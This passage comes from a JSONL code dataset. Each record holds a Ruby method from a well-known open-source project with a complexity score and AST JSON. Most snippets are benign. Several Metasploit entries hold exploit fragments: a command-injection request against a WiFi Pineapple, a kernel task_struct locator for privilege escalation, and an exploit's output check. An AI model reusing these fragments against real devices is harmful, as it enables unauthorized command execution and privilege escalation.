:\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The server returned: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"YYY\\\\n(.*)\\\\nYYY\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Command output from the server:\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"This server may not be vulnerable\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No response from the server\"]}]}]}]}]}","id":"a113c57c-7f76-4aaa-8918-056b36ceb948"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/ember_cli.rb","start_line":53,"raw_source":"def self.clear_cache!\n self.request_cache = nil\n @production_cache = nil\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"request_cache=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@production_cache\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"ab633555-6e6d-4c3f-aac4-bb432d358ad9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/markdown/attachment.rb","start_line":126,"raw_source":"def user_attachment?\n url.start_with?(\"#{web_endpoint}/user-attachments/\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_attachment?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]},\"start_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_endpoint\"]}]},{\"type\":\"str\",\"children\":[\"/user-attachments/\"]}]}]}]}","id":"fb262d1e-8311-4769-a969-04595677af18"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/webhook_listener.rb","start_line":118,"raw_source":"def deliver_api_inbox_webhooks(payload, inbox)\n return unless inbox.channel_type == 'Channel::Api'\n return if inbox.channel.webhook_url.blank?\n\n WebhookJob.perform_later(inbox.channel.webhook_url, payload, :api_inbox_webhook)\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deliver_api_inbox_webhooks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"inbox\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Channel::Api\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel\"]},\"webhook_url\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebhookJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbox\"]},\"channel\"]},\"webhook_url\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"sym\",\"children\":[\"api_inbox_webhook\"]}]}]}]}","id":"076b14fa-526a-4127-ba72-3ee5fdc67b62"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/local/linux_kernel.rb","start_line":7,"raw_source":"def current_task_struct_h(metasm_exe)\n metasm_exe.parse <<-EOS\n current_stack_pointer:\n mov eax, esp\n ret\n EOS\n\n # Taken from sock_sendpage.c\n cparser.parse <<-EOC\n#define TASK_RUNNING 0\n\nint current_stack_pointer(void);\n\nstatic inline unsigned long\ncurrent_task_struct(void)\n{\n unsigned long task_struct, thread_info;\n\n thread_info = current_stack_pointer() & ~(4096 - 1);\n\n if (*(unsigned long *)thread_info >= 0xc0000000) {\n task_struct = *(unsigned long *)thread_info;\n\n /*\n * The TASK_RUNNING is the only possible state for a process executing\n * in user-space.\n */\n if (*(unsigned long *)task_struct == TASK_RUNNING)\n return task_struct;\n }\n\n /*\n * Prior to the 2.6 kernel series, the task_struct was stored at the end\n * of the kernel stack.\n */\n task_struct = current_stack_pointer() & ~(8192 - 1);\n\n if (*(unsigned long *)task_struct == TASK_RUNNING)\n return task_struct;\n\n thread_info = task_struct;\n\n task_struct = *(unsigned long *)thread_info;\n\n if (*(unsigned long *)task_struct == TASK_RUNNING)\n return task_struct;\n\n return -1;\n}\n\nEOC\n\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_task_struct_h\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metasm_exe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metasm_exe\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" current_stack_pointer:\\n\"]},{\"type\":\"str\",\"children\":[\" mov eax, esp\\n\"]},{\"type\":\"str\",\"children\":[\" ret\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cparser\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#define TASK_RUNNING 0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"int current_stack_pointer(void);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"static inline unsigned long\\n\"]},{\"type\":\"str\",\"children\":[\"current_task_struct(void)\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\" unsigned long task_struct, thread_info;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" thread_info = current_stack_pointer() & ~(4096 - 1);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)thread_info >= 0xc0000000) {\\n\"]},{\"type\":\"str\",\"children\":[\" task_struct = *(unsigned long *)thread_info;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" /*\\n\"]},{\"type\":\"str\",\"children\":[\" * The TASK_RUNNING is the only possible state for a process executing\\n\"]},{\"type\":\"str\",\"children\":[\" * in user-space.\\n\"]},{\"type\":\"str\",\"children\":[\" */\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)task_struct == TASK_RUNNING)\\n\"]},{\"type\":\"str\",\"children\":[\" return task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\" }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" /*\\n\"]},{\"type\":\"str\",\"children\":[\" * Prior to the 2.6 kernel series, the task_struct was stored at the end\\n\"]},{\"type\":\"str\",\"children\":[\" * of the kernel stack.\\n\"]},{\"type\":\"str\",\"children\":[\" */\\n\"]},{\"type\":\"str\",\"children\":[\" task_struct = current_stack_pointer() & ~(8192 - 1);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)task_struct == TASK_RUNNING)\\n\"]},{\"type\":\"str\",\"children\":[\" return task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" thread_info = task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" task_struct = *(unsigned long *)thread_info;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" if (*(unsigned long *)task_struct == TASK_RUNNING)\\n\"]},{\"type\":\"str\",\"children\":[\" return task_struct;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" return -1;\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"48c06426-35a8-40bd-8736-f4b551aa2850"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/verify/uploads.rb","start_line":30,"raw_source":"def actual_checksum(upload)\n Upload.sha256_hexdigest(upload.absolute_path)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"actual_checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"sha256_hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"absolute_path\"]}]}]}","id":"da23370e-5d08-45d5-9589-6ebaf80df534"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cache_store_test.rb","start_line":21,"raw_source":"def get_session_value\n render plain: \"foo: #{session[:foo].inspect}\"\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_session_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"foo: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},\"inspect\"]}]}]}]}]}]}]}","id":"785f7a99-276f-4086-8897-773f2bc818f3"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/media_proxy_controller.rb","start_line":56,"raw_source":"def reject_media?\n @media_attachment.account.remote? && DomainBlock.reject_media?(@media_attachment.account.domain)\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_media?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"account\"]},\"remote?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DomainBlock\"]},\"reject_media?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"account\"]},\"domain\"]}]}]}]}","id":"d731e59c-4cd0-4ac9-b9e3-a823c57e03c5"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/move_service.rb","start_line":24,"raw_source":"def valid_move?\n new_position.present? && new_position != old_position && new_position.between?(0, max_position)\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_move?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_position\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_position\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"old_position\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_position\"]},\"between?\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"max_position\"]}]}]}]}","id":"8c801094-0e2f-422a-b0bb-9f794e4abfa0"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pineapple_bypass_cmdinject.rb","start_line":86,"raw_source":"def cmd_inject(cmd)\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => cmd_uri,\n 'vars_get' => {\n 'execute' => \"\" # Presence triggers command execution\n },\n 'vars_post' => {\n 'commands' => cmd\n }\n )\n res\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_inject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"cmd_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"execute\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"commands\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"47c7369b-aeb4-492e-98b6-91cd5f1a2452"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/milestones/user_views_milestone_spec.rb","start_line":130,"raw_source":"def visit_milestone\n visit(project_milestone_path(project, milestone))\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_milestone_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"milestone\"]}]}]}]}","id":"e2900fbf-67df-4f44-bb7b-07f2f10d2ca2"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/crawler.rb","start_line":9,"raw_source":"def initialize\n super(\n 'Name' => 'Web Site Crawler',\n 'Description' => 'Crawl a web site and store information about what was found',\n 'Author' => %w(hdm tasos),\n 'License' => MSF_LICENSE\n )\n\n register_advanced_options([\n OptString.new('ExcludePathPatterns', [false, 'Newline-separated list of path patterns to ignore (\\'*\\' is a wildcard)']),\n OptBool.new('HttpTrace', [false, 'Show the raw HTTP requests and responses', false]),\n OptBool.new('HttpTraceHeadersOnly', [false, 'Show HTTP headers only in HttpTrace', false]),\n OptString.new('HttpTraceColors', [false, 'HTTP request and response colors for HttpTrace (unset to disable)', 'red/blu']),\n ])\n @for_each_page_blocks = []\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Web Site Crawler\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Crawl a web site and store information about what was found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"tasos\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ExcludePathPatterns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Newline-separated list of path patterns to ignore ('*' is a wildcard)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpTrace\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Show the raw HTTP requests and responses\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpTraceHeadersOnly\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Show HTTP headers only in HttpTrace\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpTraceColors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"HTTP request and response colors for HttpTrace (unset to disable)\"]},{\"type\":\"str\",\"children\":[\"red/blu\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@for_each_page_blocks\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"f80b7abd-44fc-4274-b6eb-15ee8473c50b"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/integration/watched_words_spec.rb","start_line":24,"raw_source":"def should_block_post(manager)\n expect {\n result = manager.perform\n expect(result).to_not be_success\n expect(result.errors[:base]&.first).to eq(\n I18n.t(\"contains_blocked_word\", word: block_word.word),\n )\n }.to_not change { Post.count }\n end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"should_block_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"perform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"to_not\",{\"type\":\"send\",\"children\":[null,\"be_success\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base\"]}]},\"first\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"contains_blocked_word\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"word\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_word\"]},\"word\"]}]}]}]}]}]}]}]},\"to_not\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"count\"]}]}]}]}","id":"cebd84ae-c9d0-41ef-91d8-6775b48e5ce5"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":14,"raw_source":"def setup\n @strings = { \"a\" => 1, \"b\" => 2 }\n @nested_strings = { \"a\" => { \"b\" => { \"c\" => 3 } } }\n @symbols = { a: 1, b: 2 }\n @nested_symbols = { a: { b: { c: 3 } } }\n @mixed = { :a => 1, \"b\" => 2 }\n @nested_mixed = { \"a\" => { b: { \"c\" => 3 } } }\n @integers = { 0 => 1, 1 => 2 }\n @nested_integers = { 0 => { 1 => { 2 => 3 } } }\n @illegal_symbols = { [] => 3 }\n @nested_illegal_symbols = { [] => { [] => 3 } }\n @upcase_strings = { \"A\" => 1, \"B\" => 2 }\n @nested_upcase_strings = { \"A\" => { \"B\" => { \"C\" => 3 } } }\n @string_array_of_hashes = { \"a\" => [ { \"b\" => 2 }, { \"c\" => 3 }, 4 ] }\n @symbol_array_of_hashes = { a: [ { b: 2 }, { c: 3 }, 4 ] }\n @mixed_array_of_hashes = { a: [ { b: 2 }, { \"c\" => 3 }, 4 ] }\n @upcase_array_of_hashes = { \"A\" => [ { \"B\" => 2 }, { \"C\" => 3 }, 4 ] }\n end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mixed\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_mixed\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@integers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_integers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@illegal_symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_illegal_symbols\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@upcase_strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@nested_upcase_strings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"C\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@string_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@symbol_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mixed_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@upcase_array_of_hashes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"C\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}","id":"fc32b966-12c4-4219-adc3-6153fe3fdb1d"}
